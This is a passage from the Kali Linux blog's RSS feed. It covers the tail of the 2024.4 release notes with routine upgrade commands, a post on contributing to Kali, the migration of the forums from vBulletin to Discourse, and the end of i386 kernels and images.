&lt;li>&lt;strong>Console Fix&lt;/strong>: The character map has been set to &lt;strong>UTF-8&lt;/strong>, so you will no longer experience corrupt characters at the console. If you are upgrading an existing installation, you can fix this by editing the &lt;code>/etc/default/console-setup&lt;/code> file and setting &lt;code>CHARMAP=&amp;quot;UTF-8&amp;quot;&lt;/code>.&lt;/li>
&lt;li>&lt;strong>BeagleBone Black&lt;/strong>: Thanks to a community member, the Beaglebone Black build script (which is community supported) is now able to build images successfully again.&lt;/li>
&lt;/ul>
&lt;h2 id="kali-website-updates">Kali Website Updates&lt;/h2>
&lt;h3 id="kali-documentation">Kali Documentation&lt;/h3>
&lt;p>Our &lt;a href="https://www.kali.org/docs/">Kali documentation&lt;/a> has had a few various major updates to existing pages as well as new pages:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/docs/nethunter/installing-nethunter-on-the-oneplus-one/">Installing NetHunter on the OnePlus One&lt;/a> (new)&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/nethunter/installing-nethunter/">Installing NetHunter&lt;/a> (updated)&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/installation/installing-old-i386/">Installing old i386 images&lt;/a> (new)&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/general-use/python3-external-packages/">Installing Python Applications via pipx&lt;/a> (new)&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/nethunter/nethunter-audio/">NetHunter Audio&lt;/a> (new)&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/nethunter/nethunter-kernel/">NetHunter Kernel&lt;/a> (new)&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/nethunter/nethunter-kex/">NetHunter Kex&lt;/a> (new)&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/nethunter/nethunter-modules/">NetHunter Modules&lt;/a> (new)&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/nethunter/nethunter-settings/">NetHunter Settings&lt;/a> (new)&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/nethunter/nethunter-wifipumpkin/">NetHunter WifiPumpkin&lt;/a> (new)&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/nethunter/nethunter-wps/">NetHunter WPS Attacks&lt;/a> (new)&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/community/contribute/">Where and How to Contribute to Kali&lt;/a> (updated)&lt;/li>
&lt;/ul>
&lt;p>&lt;em>This does not include numerous minor tweaking, or typo fixing!&lt;/em>&lt;/p>
&lt;h3 id="kali-blog-recap">Kali Blog Recap&lt;/h3>
&lt;p>Recapping since since our last release, we did the following &lt;a href="https://www.kali.org/blog/">blog posts&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/blog/end-of-i386-kernel-and-images/">The end of the i386 kernel and images&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/forums-refresh/">Forums Refresh&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/contributing-to-kali/">Contributing to Kali&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="community-shout-outs">Community Shout-Outs&lt;/h2>
&lt;p>These are &lt;strong>people from the public who have helped Kali&lt;/strong> and &lt;a href="https://www.kali.org/about-us/">the team&lt;/a> for the last release. And we want to praise them for their work &lt;em>(we like to give credit where due!)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://gitlab.com/107cwk">107cwk&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/Arszilla">Arszilla&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/atlas_c0">Atlas Co&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/ayusman-nanda">Ayusman Avisek Nanda&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/casterbyte">Caster&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/ChrisFDev00">ChrisFDev00&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/kimoc0der">Christian Bremvåg&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/danterolle">Dario Camonita&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/nuvious">David Cheeseman&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/dek0der">dek0der&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/dungdinhmanh">Dũng Đinh&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/whthomas22">Elliot&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://twitter.com/sohrminir">hexan&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/MrRob0-X">Robin&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://twitter.com/s3_l33">S3L33&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/Salty_">Salty&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/serval123">serval&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/IamCOD3X">Sourabh Panchal&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/Strix-Vyxlor">Strix Vyxlor&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/Shubhamvis98">Subham Vishwakarma&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/yesimxev">yesimxev&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/Umaru-Xi">Yuki Nix&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/vvvbbbcz">自由的铁矿&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Anyone can help out, anyone can get &lt;a href="https://www.kali.org/docs/community/contribute/">involved&lt;/a>!&lt;/p>
&lt;h2 id="miscellaneous">Miscellaneous&lt;/h2>
&lt;p>Below are a few other things which have been updated in Kali, which we are calling out which do not have as much detail:&lt;/p>
&lt;ul>
&lt;li>@elwood gave a talk at &lt;a href="https://www.infosec-city.com/schedule/sin24-con">SINCON 2024&lt;/a> back in May 2024, which is now public: &lt;a href="https://www.youtube.com/watch?v=3O2W7_NkAfQ">Kali Linux: Unveiling the Hidden Gems of the Industry Standard - by Jim O&amp;rsquo;Gorman&lt;/a> &lt;/li>
&lt;li>(Xfce4) &lt;code>xcape&lt;/code> no longer required for super key (menu) shortcut&lt;/li>
&lt;li>(GNOME) &lt;code>gnome-text-editor&lt;/code> sysntax highlighting theme has been improved&lt;/li>
&lt;li>Fixed LightDM session not loading profile configuration files&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="get-kali-linux-20244">Get Kali Linux 2024.4&lt;/h2>
&lt;p>&lt;strong>Fresh Images&lt;/strong>:
So what are you waiting for? Go &lt;a href="https://www.kali.org/get-kali/">get Kali&lt;/a> already!&lt;/p>
&lt;p>Seasoned Kali Linux users are already aware of this, but for the ones who are not, we do also produce &lt;strong>&lt;a href="https://cdimage.kali.org/kali-images/kali-weekly/">weekly builds&lt;/a>&lt;/strong> that you can use as well. If you cannot wait for our next release and you want the latest packages &lt;em>(or bug fixes)&lt;/em> when you download the image, you can just use the weekly image instead.
This way you will have fewer updates to do.
&lt;em>Just know that these are automated builds that we do not QA like we do our standard &lt;a href="https://www.kali.org/releases/">release images&lt;/a>&lt;/em>. But we gladly take &lt;a href="https://bugs.kali.org/">bug reports&lt;/a> about those images because we want any issues to be fixed before our next release!&lt;/p>
&lt;p>&lt;strong>Existing Installs&lt;/strong>:
If you already have an existing Kali Linux installation, remember you can always do a quick &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">update&lt;/a>:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ echo &amp;quot;deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware&amp;quot; | sudo tee /etc/apt/sources.list
[...]
┌──(kali㉿kali)-[~]
└─$ sudo apt update &amp;amp;&amp;amp; sudo apt -y full-upgrade
[...]
┌──(kali㉿kali)-[~]
└─$ cp -vrbi /etc/skel/. ~/
[...]
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] &amp;amp;&amp;amp; sudo reboot -f
&lt;/code>&lt;/pre>
&lt;p>You should now be on Kali Linux 2024.4 We can do a quick check by doing:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION_ID=&amp;quot;2024.4&amp;quot;
VERSION=&amp;quot;2024.4&amp;quot;
VERSION_CODENAME=kali-rolling
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15)
┌──(kali㉿kali)-[~]
└─$ uname -r
6.11.2-amd64
&lt;/code>&lt;/pre>
&lt;p>&lt;em>NOTE: The output of &lt;code>uname -r&lt;/code> may be different depending on the system &lt;a href="https://pkg.kali.org/pkg/linux">architecture&lt;/a>.&lt;/em>&lt;/p>
&lt;p>As always, should you come across any bugs in Kali, please submit a report on our &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>. &lt;em>We will never be able to fix what we do not know is broken!&lt;/em> &lt;strong>And Social networks are not bug trackers!&lt;/strong>&lt;/p>
&lt;p>Want to keep up-to-date easier? We have got you!&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/blog/">Blog&lt;/a>? Use our &lt;a href="https://www.kali.org/rss.xml">RSS feeds&lt;/a> and &lt;a href="https://www.kali.org/newsletter/">newsletter&lt;/a>&lt;/li>
&lt;li>Download? We have a &lt;a href="https://www.kali.org/torrents.xml">Torrent RSS feed&lt;/a>&lt;/li>
&lt;li>Socials? &lt;a href="https://www.facebook.com/KaliLinux/">Facebook&lt;/a>, &lt;a href="https://www.instagram.com/kalilinux/">Instagram&lt;/a>, &lt;a href="https://infosec.exchange/@kalilinux">Mastodon&lt;/a> &amp;amp; &lt;a href="https://x.com/kalilinux">X/Twitter&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Contributing to Kali</title><link>https://www.kali.org/blog/contributing-to-kali/</link><guid isPermaLink="true">https://www.kali.org/blog/contributing-to-kali/</guid><pubDate>Wed, 27 Nov 2024 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/contributing-to-kali/images/contributing-to-kali.jpg" type="image/jpg"/><description>&lt;p>With the launch of our brand-new forums, we thought we would update our documentation and explore how everyone can contribute to the growth of Kali Linux. Kali is a multi-platform project that thrives on the the contributions of its community. Whether you&amp;rsquo;re curious about how you can pitch in or simply want to learn more about how contributions shape our platform, keep reading. For a deeper dive, don&amp;rsquo;t forget to check out the relevant Kali Docs pages.&lt;/p>
&lt;h2 id="where-contributions-happen">Where Contributions Happen&lt;/h2>
&lt;p>Kali Linux currently benefits from community support in four primary areas: &lt;strong>Documentation&lt;/strong>, &lt;strong>Packages&lt;/strong>, &lt;strong>Hardware&lt;/strong>, and &lt;strong>Community&lt;/strong>. Let&amp;rsquo;s break down each one:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Documentation&lt;/strong>: This is hosted on our website and includes &lt;strong>&lt;a href="https://www.kali.org/tools/">Kali Tools&lt;/a>&lt;/strong> and &lt;strong>&lt;a href="https://www.kali.org/docs/">Kali OS Docs&lt;/a>&lt;/strong>. Users can contribute by improving pages and grammar written in Markdown. Check out the &lt;a href="https://www.kali.org/docs/community/contribute/#kali-os-docs">Kali Docs&lt;/a> and &lt;a href="https://www.kali.org/docs/community/contribute/#kali-tools">Kali Tools&lt;/a> sections for more details.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Packages&lt;/strong>: These are the heart of Kali Linux. They contain tools, drivers, documentation, and unit tests based on the Debian standard. Packaging is a useful skill, helpful for handling tool package upgrades or adding new tools to the Kali repository. Learn about packaging new tools or handling upstream updates in the &lt;a href="https://www.kali.org/docs/community/contribute/#kali-packaging">Kali Packaging&lt;/a> section.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Hardware&lt;/strong>: Contributions in this area help to test the stability of certain devices or port Kali to new devices or platforms, ensuring that &lt;strong>Kali is Everywhere&lt;/strong>. Also included here is hosting Kali content, such as seeding the torrents or hosting a mirror. If you&amp;rsquo;re interested in developing Kali for a new device, explore projects related to &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-arm">ARM&lt;/a>, &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-cloud">cloud&lt;/a>, and the &lt;a href="https://www.kali.org/docs/community/contribute/#porting-kali-to-a-new-platform">Porting Kali To A New Platform&lt;/a> section.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Community&lt;/strong>: This involves Kali users helping one another on various platforms, including the &lt;a href="https://forums.kali.org/">Forums&lt;/a>, &lt;a href="https://discord.kali.org/">Discord&lt;/a>, IRC, and social media. Engaging with the community can be as simple as answering questions, sharing tools, or providing feedback.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h2 id="how-to-contribute">How to Contribute&lt;/h2>
&lt;p>So, how can you help? First, decide how much time you can commit. We appreciate all forms of contributions, whether it&amp;rsquo;s recommending a tool to another Kali user or submitting a package with an autopkgtest. Here&amp;rsquo;s a rough estimate of the time commitment for various tasks:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Documentation&lt;/strong>: 5-30 minutes. This can involve anything from correcting typos to writing whole new pages.&lt;/li>
&lt;li>&lt;strong>Packages&lt;/strong>: 30 minutes to several hours. Packaging updates or new tools requires more in-depth knowledge and testing.&lt;/li>
&lt;li>&lt;strong>Hardware&lt;/strong>: Hours to days. Helping to test specific devices, porting Kali to new platforms, or setting up mirrors can be more involved and may require future updates.&lt;/li>
&lt;li>&lt;strong>Community&lt;/strong>: 1-5 minutes. A quick comment or sharing a useful tip goes a long way.&lt;/li>
&lt;/ul>
&lt;p>For more information on how to get involved, check out our comprehensive &lt;a href="https://www.kali.org/docs/community/contribute/">Kali Documentation&lt;/a>.&lt;/p>
&lt;p>Your contributions are extremely helpful to both the community and the Kali team. We hope to see your name in future work!&lt;/p></description></item><item><title>Forums Refresh</title><link>https://www.kali.org/blog/forums-refresh/</link><guid isPermaLink="true">https://www.kali.org/blog/forums-refresh/</guid><pubDate>Wed, 20 Nov 2024 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/forums-refresh/images/new-forums-discourse.jpg" type="image/jpg"/><description>&lt;p>Over the past year we have been hard at work on refreshing the &lt;a href="http://forums.kali.org/">Kali Forums&lt;/a>, and today we are proud to announce the official launch. We have taken what we have learnt over the &lt;del>years&lt;/del> decades, and created a new home from scratch.&lt;/p>
&lt;p>At the same time, we are welcoming a new team of community moderators who have been helping us over on &lt;a href="https://discord.kali.org/">Discord&lt;/a>. Before you go check it out, lets first take a look at why we are doing this.&lt;/p>
&lt;h2 id="what-a-forum-means-to-us">What a forum means to us&lt;/h2>
&lt;p>Our forums have been a staple in &lt;a href="https://www.kali.org/blog/10-years/">Kali&amp;rsquo;s long history&lt;/a>, spanning all the way back to before BackTrack. Then, &lt;strong>everything&lt;/strong> was done through forums posting, including announcements, launching new projects like BackTrack, WHAX &amp;amp; Whoppix and their releases. They allowed like-minded individuals to create the foundation of a legacy that led to current day Kali.&lt;/p>
&lt;p>The Internet and its culture has changed over time, which makes it difficult to put into perspective how influential forums were back then. For example, did you know that the &lt;a href="https://forums.kali.org/archived/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)">WPS Pixie-Dust attack&lt;/a> originated from a forum posting?
Nowadays a large majority of people communicate through real-time chat services, like &lt;a href="https://discord.kali.org/">Discord&lt;/a>. However, if the discussion about the Pixie-Dust attack occurred through real-time chat, who knows how wide spread this information would become. We view real-time chat as a good place for quick conversation, sharing initial ideas or assistance, and forums for longer term form content, such as guides/tutorials, status updates, items which commonly come up that can be referred back to. Both have their place, and we feel it is important to provide spaces for each.&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>&lt;/th>
&lt;th>Forums&lt;/th>
&lt;th>Real-Time Chat&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>How to access&lt;/td>
&lt;td>Web browser&lt;/td>
&lt;td>Web browser/Dedicated client&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Who can access&lt;/td>
&lt;td>Anyone&lt;/td>
&lt;td>Anyone&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Discussion lifespan&lt;/td>
&lt;td>Long&lt;/td>
&lt;td>Short&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>How are they viewed&lt;/td>
&lt;td>Archivable and searchable&lt;/td>
&lt;td>Occasionally searchable&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>When discussions are had&lt;/td>
&lt;td>At any point, with users able to join in when it suits them&lt;/td>
&lt;td>In the moment, and users who are online are able to join in&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>We always want to keep and maintain a forum for Kali, and make sure it is the best we can do.&lt;/p>
&lt;p>To put it simply, without forums we would not have Kali.&lt;/p>
&lt;h2 id="goodbye-vbulletin">Goodbye, vBulletin&lt;/h2>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/forums-refresh/images/vbulletin.jpg' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/forums-refresh/images/vbulletin.jpg" alt="vBulletin" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>vBulletin had been powering the forums since 2006 &lt;em>(from the days of Remote-Exploit)&lt;/em> . For a long time this has worked great and provided our users a good platform to ask questions and give answers. However, we took a step back and saw that our setup was:&lt;/p>
&lt;ul>
&lt;li>Lacking quite a bit of modern functionality that other forums were offering.&lt;/li>
&lt;li>Not giving the same user experience and interface as our other end-user sites.&lt;/li>
&lt;li>Behind the scenes, we were spending more time doing certain tasks, as it was missing moderation tools that were needed.&lt;/li>
&lt;/ul>
&lt;p>With a recent wave of spam bots flooding the site, it was the kick we needed to finally find the time to look for solutions.&lt;/p>
&lt;h2 id="the-search">The search&lt;/h2>
&lt;p>We knew from the start that there were a lot of options we could go with. We took the time to figure out what we need out of a forum and how we wanted our user experience to look. This helped us to narrow our options down to a few quality choices.&lt;/p>
&lt;p>We were looking for something that has frequent updates, is secure, can integrate into our other sites, and can be customized to our liking. We spent a while weighing up the pros and cons of each, looking at examples of live environments and seeing what their communities look like. After examining our options, it became clear we needed to add another factor, self-hosting. &lt;/p>
&lt;p>A question someone may be asking is why do we need to bother with all of this? Why not use something like Reddit , or some other similar service ? The issue with these options is that we do not control the site, and various rules can prevent us from using them how we would prefer to. So, we are back to looking for solutions that meet all our criteria. &lt;/p>
&lt;p>XenForo and Discourse were in the lead. When left with XenForo versus Discourse, we felt like we could do well with either one. Unfortunately, XenForo does have a higher cost of entry for self-hosting. Had it not been for this, the competition would be much closer. &lt;/p>
&lt;h2 id="hello-discourse">Hello, Discourse&lt;/h2>
&lt;p>After taking a look at multiple possible forum solutions and what they bring to the table, we settled on &lt;a href="https://www.discourse.org/">Discourse&lt;/a>. A popular free and open source software that is well maintained with a large active community. Along with the ability to utilize plugins, custom themes, and plenty of moderation features, we knew that this was what we wanted. &lt;/p>
&lt;p>So, we got to work. We took the time to review what worked and did not work on our current forum and improved upon these ideas to create the best possible experience moving forward.
We finally created a theme that fits right along side &lt;a href="https://www.kali.org/">Kali.org&lt;/a>, &lt;a href="https://www.kali.org/docs/">Kali Docs&lt;/a> and &lt;a href="https://www.kali.org/tools/">Kali Tools&lt;/a> and added features and applied various tweaks/modification to improve the user navigation and viewing experience. &lt;/p>
&lt;p>Along with this, we also have a whole new team of moderators thanks to our lovely moderators on Discord.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/forums-refresh/images/discourse.jpg' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/forums-refresh/images/discourse.jpg" alt="Discourse" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>You may be asking at this stage, what happens to the old forum posts? Are they going to stay around? Unfortunately, we will not be able to bring the old posts forward with us. The plan is to:&lt;/p>
&lt;ul>
&lt;li>Have the new Discourse running on at the same location as before, found at &lt;a href="https://forums.kali.org/">forums.kali.org&lt;/a>&lt;/li>
&lt;li>The vBulletin forums have been moved to /archived/, meaning they can be found at &lt;a href="https://forums.kali.org/archive/">forums.kali.org/archive/&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>We do not wish to maintain multiple forums, so will be sun-setting the old forums: &lt;/p>
&lt;ul>
&lt;li>We will be putting the vBulletin forums into read-only mode from 1st January 2025. At that time, making new threads, posting replies and PMs (Private messages aka Direct Message), will not work. Please reach out to anyone if you wish to stay in contact or follow up with any replies.&lt;/li>
&lt;li>Then six (6) months afterwards, on 1st July 2025, we will close down their servers for good. Please backup anything you wish to be saved before this time. Afterwards the content will be inaccessible.&lt;/li>
&lt;/ul>
&lt;p>Throughout the years, Kali has changed dramatically, going from a &lt;a href="https://www.kali.org/blog/kali-linux-2016-1-release/">point release to a rolling release&lt;/a> , a new default desktop environment (&lt;a href="https://www.kali.org/blog/kali-linux-2019-4-release/">GNOME to Xfce&lt;/a> ), &lt;a href="https://www.kali.org/blog/major-metapackage-makeover/">new default packages&lt;/a> , and many more ways. While it is unfortunate that we cannot keep the old content around, we see a fresh slate as the perfect opportunity for new current information and ideas shared.&lt;/p>
&lt;p>The way that we view this is, like a phoenix rising from the ashes. We have to burn it all down to start again, fresh and new and ready to grow into a beautiful new forum.&lt;/p>
&lt;h2 id="hope-to-see-you-soon">Hope to see you soon&lt;/h2>
&lt;p>Kali is a platform in a field full of fast moving knowledge and skills that can sometimes be overwhelming. It is also a field with a large and helpful community, and Kali is happy to be a part of that. We hope to see &lt;a href="https://www.kali.org/community/">this community&lt;/a> embrace the &lt;a href="https://forums.kali.org/">new Kali forum&lt;/a>, and continue to help each other learn new ideas and grow. So please, if you have the time to answer a few questions or share some knowledge, help your fellow Kali users out, and see you soon!&lt;/p></description></item><item><title>The end of the i386 kernel and images</title><link>https://www.kali.org/blog/end-of-i386-kernel-and-images/</link><guid isPermaLink="true">https://www.kali.org/blog/end-of-i386-kernel-and-images/</guid><pubDate>Tue, 22 Oct 2024 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/end-of-i386-kernel-and-images/images/banner-end-of-i386.jpg" type="image/jpg"/><description>&lt;p>The &lt;code>i386&lt;/code> architecture has long been obsolete, and from this week, support for i386 in Kali Linux is going to shrink significantly: i386 kernel and images are going away. Images and releases will no longer be created for this platform.&lt;/p>
&lt;h2 id="some-terminology-first">Some terminology first&lt;/h2>
&lt;p>Let&amp;rsquo;s start with the terms used in Kali Linux to talk about CPU architectures. These terms apply more generally to any Debian-based Linux distribution.&lt;/p>
&lt;ul>
&lt;li>&lt;code>amd64&lt;/code> refers to the &lt;a href="https://en.wikipedia.org/wiki/X86-64">x86-64&lt;/a> architecture, ie. the &lt;em>64-bit version of the x86 instruction set&lt;/em>.&lt;/li>
&lt;li>&lt;code>i386&lt;/code> refers to the &lt;a href="https://en.wikipedia.org/wiki/X86">x86&lt;/a> architecture, ie. the &lt;em>original 32-bit x86 architecture&lt;/em>.&lt;/li>
&lt;/ul>
&lt;h2 id="whats-changing">What&amp;rsquo;s changing&lt;/h2>
&lt;p>First, the &lt;strong>Linux kernel&lt;/strong>: starting version 6.11 (that just landed in Kali rolling), the kernel is no longer built for the i386 architecture.&lt;/p>
&lt;p>Second, and as a direct consequence: the &lt;strong>Kali Linux images&lt;/strong>. We will no longer build the i386 &lt;a href="https://www.kali.org/get-kali/#kali-installer-images">Installer image&lt;/a>, the i386 &lt;a href="https://www.kali.org/get-kali/#kali-live">Live image&lt;/a> and the i386 &lt;a href="https://www.kali.org/get-kali/#kali-virtual-machines">Pre-Built VM images&lt;/a>. This change impacts the next batch of weekly images (&lt;em>2024-W44&lt;/em>, due next Monday) and the next Kali Linux release (&lt;em>2024.4&lt;/em>, due before end of year).&lt;/p>
&lt;p>However, &lt;em>i386 packages in general are not removed from the repository&lt;/em>, therefore it&amp;rsquo;s still possible to run i386 programs on a 64-bit system. One can use &lt;code>dpkg --add-architecture i386&lt;/code> in order to then install i386 packages on their system via the package manager. Running i386 binaries on a 64-bit system is a standard scenario and is very well supported. Alternatively, we also provide &lt;a href="https://hub.docker.com/r/kalilinux/kali-rolling/tags">i386 Docker images&lt;/a>.&lt;/p>
&lt;p>If you&amp;rsquo;re impacted by this change and need more guidance to run your i386 binaries on Kali Linux, please reach out to us via our &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>, we&amp;rsquo;ll do our best to help.&lt;/p>
&lt;h2 id="background-and-context-for-the-curious">Background and context, for the curious&lt;/h2>
&lt;p>Kali Linux can run on a variety of CPU architectures, &lt;em>amd64&lt;/em> being by far the most popular. It&amp;rsquo;s the architecture of choice for Intel and AMD CPUs that equip personal computers (workstations and laptops alike) and servers. In short, it&amp;rsquo;s ubiquitous for personal computing. Kali can also run on &lt;em>i386&lt;/em> CPUs. &lt;em>i386&lt;/em> is the ancestor of &lt;em>amd64&lt;/em>, and it was used in personal computers, back in the days before the 64-bit x86 architecture took over and replaced it.&lt;/p>
&lt;p>Note that the first &lt;em>amd64&lt;/em> processor was released in 2003, and the first Debian release to support it was &amp;ldquo;4.0 Etch&amp;rdquo;, back in 2007. Also worth noting, the last &lt;em>i386&lt;/em> CPU produced seem to have been some models of the Intel Pentium 4, and were discontinued in 2007. So, this is a change a long time coming.&lt;/p>
&lt;p>Now that we&amp;rsquo;ve established a rough timeline for the hardware, what about software? Of course, support in software, in particular in the Linux kernel, has to last many years after the hardware is discontinued. But with times, there&amp;rsquo;s less and less i386 CPUs out there, and less and less effort is made to maintain i386-specific code, so it slowly dies.&lt;/p>
&lt;p>In Linux distributions, support for i386 has declined steadily over the years. In 2017, &lt;a href="https://archlinux.org/news/phasing-out-i686-support/">Arch Linux phased out 32-bit ISOs&lt;/a>. Then the big year was 2019, with &lt;a href="https://fedoramagazine.org/in-fedora-31-32-bit-i686-is-86ed/">Fedora 31 dropping i386 kernel and images&lt;/a>, and &lt;a href="https://ubuntu.com/blog/statement-on-32-bit-i386-packages-for-ubuntu-19-10-and-20-04-lts">Ubuntu 19.10 doing the same&lt;/a>.&lt;/p>
&lt;p>By the end of 2023, Debian agreed that it would &lt;a href="https://www.theregister.com/2023/12/19/debian_to_drop_x86_32/">drop i386 kernel and images&lt;/a>. It finally came into effect a few weeks ago, in September, when the Debian kernel team announced they would &lt;a href="https://lists.debian.org/debian-release/2024/09/msg00220.html">stop building i386 kernel packages&lt;/a>. Then the 6.11 kernel was uploaded to Debian beginning of October, &lt;a href="https://lists.debian.org/debian-release/2024/10/msg00064.html">without i386 kernel package&lt;/a>. It also means the end of i386 installer images.&lt;/p>
&lt;p>Kali Linux is based on Debian, so it follows that Kali Linux also drops i386 kernel and images. This is going to be effective for weekly images starting 2024-W44, to be published on Monday 28th of October. It&amp;rsquo;s already effective for Kali rolling users.&lt;/p>
&lt;p>What about packages, you may ask? i386 packages remain, as long as they can be rebuilt. Which means, as long as there are people to maintain it and fix i386-specific issues as they arise. One of the biggest area that keeps i386 alive is gaming: old games that were compiled for 32-bits x86 are still around, and enjoyed by gamers. Thanks to that, we can hope that a baseline of packages will remain for i386 for the time coming. And at the same time, we can expect other areas and ecosystems to drop i386 support as they see fit, to reduce maintenance efforts. So the overall number of i386 packages will slowly go down over the years, that&amp;rsquo;s for sure.&lt;/p></description></item><item><title>Kali Linux 2024.3 Release (Multiple transitions)</title><link>https://www.kali.org/blog/kali-linux-2024-3-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2024-3-release/</guid><pubDate>Wed, 11 Sep 2024 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/kali-linux-2024-3-release/images/banner-2024.3-release.jpg" type="image/jpg"/><description>&lt;p>With summer coming to an end, so are package migrations, and Kali 2024.3 can now be released. You can now start &lt;a href="https://www.kali.org/get-kali/">downloading&lt;/a> or &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">upgrading &lt;em>if you have an existing Kali installation&lt;/em>&lt;/a>.&lt;/p>
&lt;p>The summary of the &lt;a href="https://bugs.kali.org/changelog_page.php">changelog&lt;/a> since the &lt;a href="https://www.kali.org/blog/kali-linux-2024-2-release/">2024.2 release from June&lt;/a> is:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2024-3-release/#kali-nethunter-updates">Qualcomm NetHunter Pro Devices&lt;/a>&lt;/strong> - Qualcomm Snapdragon SDM845 SoC now supported&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2024-3-release/#new-tools-in-kali">New Tools&lt;/a>&lt;/strong> - 11x new tools in your arsenal&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>Our focus has been on a lot of behind the scenes updates and optimizations since the last release. There have been some messy migrations, with multiple stacks, all interrelating (transition have been like buses, all coming at once!). After the &lt;a href="https://www.kali.org/blog/kali-linux-2024-2-release/">t64 transition&lt;/a> finished up, it was straight into &lt;strong>multiple&lt;/strong> other transitions: &lt;strong>GCC 14&lt;/strong>, the &lt;strong>glibc 2.40&lt;/strong>, and &lt;strong>Python 3.12&lt;/strong>. &lt;/p>
